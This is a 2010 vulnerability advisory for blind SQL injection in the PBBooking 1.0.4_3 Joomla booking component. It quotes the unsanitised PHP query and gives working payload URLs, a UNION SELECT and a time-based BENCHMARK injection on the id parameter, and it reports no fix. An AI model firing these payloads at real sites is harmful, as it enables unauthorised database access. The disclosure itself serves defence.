PBBooking 1.0.4_3 Joomla Component Multiple Blind SQL Injection

PBBooking 1.0.4_3 Joomla Component Multiple Blind SQL Injection

Name PBBooking
Vendor http://sourceforge.net/projects/pbbooking/
Versions Affected 1.0.4_3

Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-07-29

X. INDEX

I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX

I. ABOUT THE APPLICATION

---

A simple, easy to use, calendaring and booking component
for Joomla. PBBooking offers live calendar integration
both for reading availability and for writing
appointments back to your calendar.

II. DESCRIPTION

---

Some parameters are not properly sanitised before being
used in SQL queries.

III. ANALYSIS

---

Summary:

A) Multiple Blind SQL Injection

A) Multiple Blind SQL Injection

---

The parameters timeslot and id passed to controller.php
when the task option is set respectively to save and
validate, are not properly sanitised before being used
in SQL queries. This can be exploited to manipulate SQL
queries by injecting arbitrary SQL code.

Affected code for id parameter:

function validate() {

$pendingid = JRequest::getVar('id');
$email = JRequest::getVar('email');
            
$sql = "select * from #__pbbooking_pending where id =

".$pendingid;

Maybe, the injection caused by the id parameter may be
carried to a normal SQL injection, but because of some
errors in calendar.php, currently it is not possible.
Are them errors present only on my webserver? If no, try
the following injection:

index.php?option=com_pbbooking&task=validate&[email protected]&id=-1
UNION SELECT 1,'[email protected]',3,4,5,6,7,8,9

IV. SAMPLE CODE

---

A) Multiple Blind SQL Injection

http://site/path/index.php?option=com_pbbooking&task=validate&id=-1
OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL)))

V. FIX

---

No fix.